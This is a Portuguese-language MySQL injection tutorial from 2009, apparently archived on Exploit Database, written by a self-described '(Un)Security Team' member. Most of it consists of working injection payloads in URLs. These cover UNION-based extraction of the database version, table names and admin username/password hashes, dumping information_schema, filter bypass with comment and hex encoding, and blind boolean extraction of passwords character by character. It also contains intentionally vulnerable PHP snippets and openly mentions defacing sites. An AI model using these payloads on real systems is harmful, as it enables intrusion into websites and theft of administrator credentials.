[Portuguese] MySQL Injection Tutorial

EDB-ID:

13684

CVE:

N/A

Author:

fvox

Type:

papers

Platform:

Multiple

Published:

2010-04-22

	 _____ _       _    _    _       _   
	|  __ (_)     | |  | |  | |     | |  
	| |__) | _ __ | | _| |__| | __ _| |_ 
	|  ___/ | '_ \| |/ /  __  |/ _` | __|
	| |   | | | | |   <| |  | | (_| | |_ 
	|_|   |_|_| |_|_|\_\_|  |_|\__,_|\__|
		PinkHat (Un)Security Team 2009


Titulo : MySQL Injection Tutorial
Autor  : fvox (Júnior)
Data   : 11.02.2009

##########################
 Índice - MySQL Injection
##########################

	SQL Injection
		[0x00] - Sobre o ataque
		[0x01] - Onde acontece
		[0x10] - Verificando a vulnerabilidade
		[0x11] - Atacando!
		[0x12] - Capturando dados
		[0x13] - MySQL Dump
		[0x14] - Burlando filtros
		
	Blind Injection
		[0x00] - Sobre o ataque
		[0x10] - Verificando a vulnerabilidade
		[0x12] - Achando uma tabela
		[0x13] - Achando uma coluna
		[0x14] - Capturando dados
 

#########################
 [0x00] - Sobre o ataque
#########################

	Antes de começar o tutorial, eu recomendo que você tenha uma noção sobre SQL, nem que seja
uma noção mínima para não ter dificuldade em entender o funcionamento de um ataque em um site
vulnerável a (Blind) MySQL Injection
	O único requerimento para este ataque é um browser comum. Inicialmente voc?s não precisarão
de scanners ou tools para explorar a falha, portanto, procure ENTENDER o que está escrito aqui
pois creio que atualmente, esta é a falha mais encontrada na internet, porém não é a mais fácil
de explorar e fazer o deface em um web site. Vocês não terão uma phpshell em mãos onde só irão
clicar no botãozinho e a phpshell altera "automaticamente" a index de um site, como acontece em
falhas de include (Local File Inclusion e Remote File Inclusion).


########################
 [0x01] - Onde acontece
########################

	Como alguns de vocês devem saber, este tipo de ataque não depende da linguagem de programação
do script (a correção da falha depende), e sim do banco de dados SQL, ou seja, você pode encontrar
a vulnerabilidade em um site feito em PHP, mas também pode encontrar em um site feito em ASP.
	No caso desta matéria, irei abordar os ataques em um servidor MySQL e PHP. A falha também não
depende do tipo da requisição, ou seja, é possível encontrar vuln em requests GET, POST, e o que
seja manipulável pelo cliente. Nesta matéria eu irei exemplificar com requisições GET, já que é
a mais manipulável e a melhor para usar nas explicações. Eu usarei um sistema de notícias que
pega o ID da notícia via GET durante toda a matéria.
	

-------------------------------
	SQL INJECTION ATTACK
-------------------------------
	
########################################
 [0x10] - Verificando a vulnerabilidade
########################################

	SQL Injection só é possível quando o site te informa qual o erro que o banco de dados caso
não seja possível fazer a consulta no banco de dados. Por exemplo:

<?php
$id = $_GET['id'];
$q = "SELECT * FROM noticias WHERE id = '$id'";
$r = mysql_query($q) or die(mysql_error());
?>
	
	Como vimos ali, caso não seja possível enviar a consulta ao MySQL, o script é
interrompido exibindo a mensagem de erro da operação enviada ao MySQL. Se eu entrar em
http://www.fvox.com/noticias.php?id=10%27 (lembrando que %27 equivale a uma aspa simples ').
	A query a ser enviada seria a seguinte:
SELECT * FROM noticias WHERE id = '10''

	A aspa inserida na URL iria modificar a sintaxe da consulta, então a função mysql_error()
retornaria algo parecido com:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near ''10''' at line 14

	É claro que o servidor pode emitir outros erros, mas desde que exiba um erro, já é
alguma coisa para que você possa realizar seus penetration tests com grande esperança,
o que te motiva bastante.


####################
 [0x11] - Atacando!
####################

	Depois de ver que o site está vulnerável, o próximo passo é descobrir a quantidade de 
colunas da tabela noticias. Isso é possível utilizando a cláusula "order by", que não irei
explicar para que serve porque como já disse no início da matéria, estou escrevendo para
usuários que já tem experiência com MySQL e não para o Sander e outros saírem por aí pixando
o site de todo mundo, AUHAUHAUHAU.

SELECT * FROM noticias WHERE id = '$id' order by 1/* Ignora o resto da query

http://www.fvox.com/noticias.php?id=10 order by 1/* Não deu erro
http://www.fvox.com/noticias.php?id=10 order by 2/* Não deu erro
http://www.fvox.com/noticias.php?id=10 order by 3/* Não deu erro
http://www.fvox.com/noticias.php?id=10 order by 4/* DEU ERRO! Unknown column '4' in 'order clause'

	É só ir dando order by até dar erro, cada site em um número de colunas diferentes, não
pensem que vocês irão realizar o ataque com quatro colunas em todos os sites.
	Com base nos erros enviados pelo site, pudemos perceber que a tabela noticias do nosso site
imaginário possui três colunas, e será com elas que iremos trabalhar. 

###########################
 [0x12] - Capturando dados
###########################

	Agora iremos utilizar o operador UNION, que também não irei explicar para que serve...
Essa porra tá com 110 linhas e eu ainda nem cheguei na metade, puta que pariu.

SELECT * FROM noticias WHERE id = '$id' union all select 1,2,3--

http://www.fvox.com/noticias.php?id=-1 union all select 1,2,3--

	Quando você injetar isso na URL, o site irá imprimir um "número" na tela, seja ele 1, 2
ou 3. Se o site mostrou um 2 na tela, substituia o número 2 por "@@version". O site irá
imprimir a versão do banco de dados na tela.
	Se colocarmos database() no lugar do 2, o site irá imprimir o nome do banco de dados
em que a tabela está.

http://www.fvox.com/noticias.php?id=-1 union all select 1,@@version,3--
5.1.30-gpl-log
http://www.fvox.com/noticias.php?id=null union all select 1,database(),3--
fvox (digamos que o nome do db imaginário seja fvox, LOL)

	Agora vem uma parte chata. Você terá que chutar o nome da tabela! Isso mesmo, você
terá que adivinhar o nome da droga da tabela. Você pode tentar admin, users, usuarios,
membros, cadastros, administrador, etc. 
	Caso a versão do MySQL seja 5.xxxx, você pode recorrer a uma técnica chamada
MySQL Dump, onde você consegue o nome das tabelas e colunas por meio da tabela
information_schema. Se a versão do MySQL for 4 e você não conseguir adivinhar
o nome da tabela, desista do site. Como eu usei a versão 5.1.30-gpl-log como exemplo
desta matéria, eu irei abordar como "dumpar" as tabelas e colunas mais para frente.

http://www.fvox.com/noticias.php?id=-1 union all select 1,2,3 from users-- Table 
'fvox.users'doesn't exist
http://www.fvox.com/noticias.php?id=-1 union all select 1,2,3 from admin-- Não deu erro!

	Deste modo, chegamos a conclusão de que há uma tabela chamada admin, que certamente
guarda dados do administrador e que este tutorial está ficando muito grande pro meu gosto. 
	Agora que descobrimos a tabela, iremos novamente nos foder para descobrir o nome das colunas
para pegar as informações do admin.

http://www.fvox.com/noticias.php?id=-1 union all select 1,user,3 from users-- Erro
http://www.fvox.com/noticias.php?id=-1 union all select 1,concat_ws(0x3a,username,password),3 from
users-- FUNFOU!
fvox:536facb9b05a48e2adb15866353b62ee

	A função concat_ws é só para organização mesmo. O "ws" no nome da função significa with
separator. Todos as colunas no parametro da função serão exibidas na página com o separador ":".
	Neste caso, o site imprimiu os dados da coluna USERNAME e coluna PASSWORD com o separador.


#####################
 [0x13] - MySQL Dump
#####################

	O famoso "Dump" é uma técnica disponível apenas em servidores que utilizam MySQL na sua
versão 5.xxx. A utilidade do Dump é que você não precisará ficar chutando o nome das tabelas
e nem o nome das colunas, graças ao information_schema. Primeiramente, vamos listar o nome
das tabelas do banco de dados:

http://www.fvox.com/noticias.php?id=-1 union all select 1,table_name,3 from information_schema.tables--

	Para obter o nome das colunas é quase a mesma coisa:
	
http://www.fvox.com/noticias.php?id=-1 union all select 1,column_name,3 from information_schema.columns--
http://www.fvox.com/noticias.php?id=-1 union all select 1,column_name,3 from information_schema.columns
where table_name='admin'--



###########################
 [0x14] - Burlando filtros
###########################

	Como vocês já sabem, em toda parte do mundo há programadores burros, ou melhor, MUITO burros.
Já encontrei filtros ridículos por aí (não só filtros para SQL Injection). Alguns programadores removem
os espcaços da URL ou fazem uma verificação feia. Porém, este tipo de filtro é extremamente
fácil de ser burlado.
	Nós podemos substituir os espaços da URL por "/**/" e inserir o número das colunas em hex. Para
vocês entenderem melhor, vou exemplificar:

http://www.fvox.com/noticias.php?id=-1 union all select 1,concat_ws(0x3a,username,password),3 from
users--
http://www.fvox.com/noticias.php?id=-1/**/union/**/all/**/select/**/0x31,concat_ws(0x3a,username,password),0x33/**/from
/**/users--

	Fim do tutorial sobre SQL Injection.


---------------------------------
	BLIND SQL INJECTION ATTACK
---------------------------------


#########################
 [0x00] - Sobre o ataque
#########################

	Como eu já expliquei acima, SQL Injection é uma técnica baseada nos erros que o script
que realiza a conexão nos mostra em caso de erro. A principal diferença entre o SQL
Injection normal e o Blind SQL Injection é que em Blind, não necessitamos das informações
que o servidor nos mostra.
	É por isso que o nome do ataque é "Blind Injection" (Injeção cega em português). Nós apenas
injetamos algo e o servidor retorna apenas valores booleanos (true ou false) durante o ataque.


########################################
 [0x10] - Verificando a vulnerabilidade
########################################
	
	Nesta parte da matéria, eu usarei como exemplo este script:
	
<?php
/* [...] */
$id = $_GET['id'];
$sql = "SELECT * FROM noticias WHERE id = '$id'";
$q = mysql_query($sql);

$r = @mysql_fetch_row($q);
/* [...] */
?>

	Como pudemos ver, o script esconde os erros da função mysql_fetch_row() utilizando
o operador de controle de erro "@" antes de chamar a função. Muitos programadores
acreditam que assim eles estarão seguros, mas é aí que eles se enganam, mWhahHaHAhaHa.
	Para verificar se um site está ou não vulnerável, nós adicionados uma string na URL.
Se a página retorna o valor true, a página é exibida normalmente. Se a página retornar
false, não deve ser exibido a consulta na página (no caso, a notícia).

TRUE: http://www.fvox.com/noticias.php?id=1 AND 1=1
FALSE: http://www.fvox.com/noticias.php?id=1 AND 1=0


####################
 [0x12] - Achando uma tabela
####################

	Seguindo o exemplo da matéria sobre SQL Injection, vou manter a tabela 'admin'. O
exemplo abaixo retorna FALSE porque não existe uma tabela chamada "users".

http://www.fvox.com/noticias.php?id=1 AND(SELECT Count(*) FROM users)

	Agora se tentarmos com a tabela 'admin' o site retornaria TRUE:

http://www.fvox.com/noticias.php?id=1 AND(SELECT Count(*) FROM admin)


#############################
 [0x13] - Achando uma coluna
#############################

	Pegar o conteúdo de uma coluna é bem fácil. O problema, como sempre, é capturar
o nome dela. Essa história de ficar adivinhando o nome das tabelas e coluna é chata!
	O exemplo abaixo retorna FALSE porque a coluna "nick" não existe:
	
http://www.fvox.com/noticias.php?id=1 AND(SELECT Count(nick) FROM admin)

	Ainda seguindo o exemplo da outra parte da matéria, temos a coluna username e
a coluna password dentro da tabela admin. E então, ao usar Count(password), o site
retornará true, avisando que a coluna PASSWORD existe:

http://www.fvox.com/noticias.php?id=1 AND(SELECT Count(password) FROM admin)


###########################
 [0x14] - Capturando dados
###########################
	
	Para pegar o conteúdo de uma coluna, nós temos que adivinhar outra coisa, mas
dessa vez é algo mais simples. Temos que adivinhar a quantidade de caracteres que
o valor dessa coluna possui.
	Por exemplo, se a senha do admin que está na coluna PASSWORD da tabela ADMIN é
"synyster", vimos que esta senha possui 8 caracteres. Agora vamos montar o exploit:

http://www.fvox.com/noticias.php?id=1 AND(SELECT length(password) FROM admin where
id=1)=4 //FALSE
http://www.fvox.com/noticias.php?id=1 AND(SELECT length(password) FROM admin where
id=1)=6 //FALSE
http://www.fvox.com/noticias.php?id=1 AND(SELECT length(password) FROM admin where
id=1)=8 //TRUE

	Agora que já sabemos quantos caracteres a senha do administrador tem, nós
precisamos pegar caractere por caractere. Acho que é a pior parte. Eu recomendo que
vocês programem um script que teste caractere por caractere, porque fazer na mão
vai ser foda!
	Por exemplo, o valor da letra "f" em ascii é 102. E então, vou fazer a verificação
para ver se a primeira letra da coluna PASSWORD da tabela ADMIN é "f":

http://www.fvox.com/noticias.php?id=1 AND ascii(substring((SELECT concat(password) from
admin limit 0,1),1,1))=102

	Neste caso, o site iria retornar false, pois como citei no exemplo acima, a senha
do admin é "synyster". Se eu tivesse colocado o valor da letra "s" ali, o site iria
retornar true. Agora, para exemplificar melhor, eu irei pegar o segundo caractere:

http://www.fvox.com/noticias.php?id=1 AND ascii(substring((SELECT concat(password) from
admin limit 0,1),2,1))=121

	O site retornou TRUE, pois o segundo caractere é 121 (y). Realmente é bem chato ficar
testando caractere por caractere, mas há diversas tools por ai que facilitam este trabalho.

Fim do tutorial.

Atenciosamente,
fvox.